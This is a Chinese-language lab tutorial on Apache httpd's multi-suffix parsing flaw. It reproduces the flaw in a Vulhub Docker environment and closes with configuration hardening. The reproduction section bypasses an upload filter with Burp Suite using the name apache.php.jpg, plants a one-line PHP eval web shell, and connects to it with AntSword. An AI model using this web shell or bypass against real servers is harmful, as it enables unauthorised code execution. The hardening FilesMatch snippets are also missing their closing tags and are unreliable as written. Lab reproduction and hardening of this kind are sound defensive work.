Apache httpd 安全加固之多后缀名解析漏洞
●多后缀名解析漏洞复现
●多后缀名解析漏洞安全加固
漏洞原理:在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
形成原因: 配置apache时,对于apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的
conf/docker-php.conf里的配置命令(AddHandler application/x-httpd-php
.php),该命令会将后缀中只要含有.php的文件都会被处理程序解析,这导致攻击者可通过多后缀绕过文件上传限制以.php结尾的机制,并使之被处理程序执行。
多后缀名解析漏洞复现
在kali中使用docker从云端拉取环境
在/home/kali/vulhub/httpd/apache_parsing_vulnerability路径下进行安装:
docker-compose up -d
环境运行后,访问本地IP
上传一个.php文件,其内容为
上传失败
burpsuit抓包一下(在其自带的浏览器访问地址,并上传.php文件)
右键发送至Reapter–:
将文件后缀名加上.jpg,再send
在浏览器访问http://127.0.0.1/uploadfiles/apache.php.jpg,测试成功。
漏洞复现:
在1.apache.php.jpg文件中,可以构造一句话木马。
<?php @eval($_POST[777]);?>
在使用蚁剑进行连接,点击添加,可看到我们可以查看该漏洞所在环境的目录中的文件。
漏洞复现完成。
多后缀名解析漏洞安全加固
在其docker-php.conf配置文件中配置
两种漏洞防御方法:
1,拒绝所有文件名含有.php的文件
<FilesMatch “\.php\.”>
require all denied
2,处理程序只处理以.php 结尾 的文件
首先将上一个防御方案的配置命令注释掉
再注释掉原本的处理出现配置命令AddHandler application/x-httpd-php .php
<FilesMatch “.+.php$”>
SetHandler application/x-httpd-php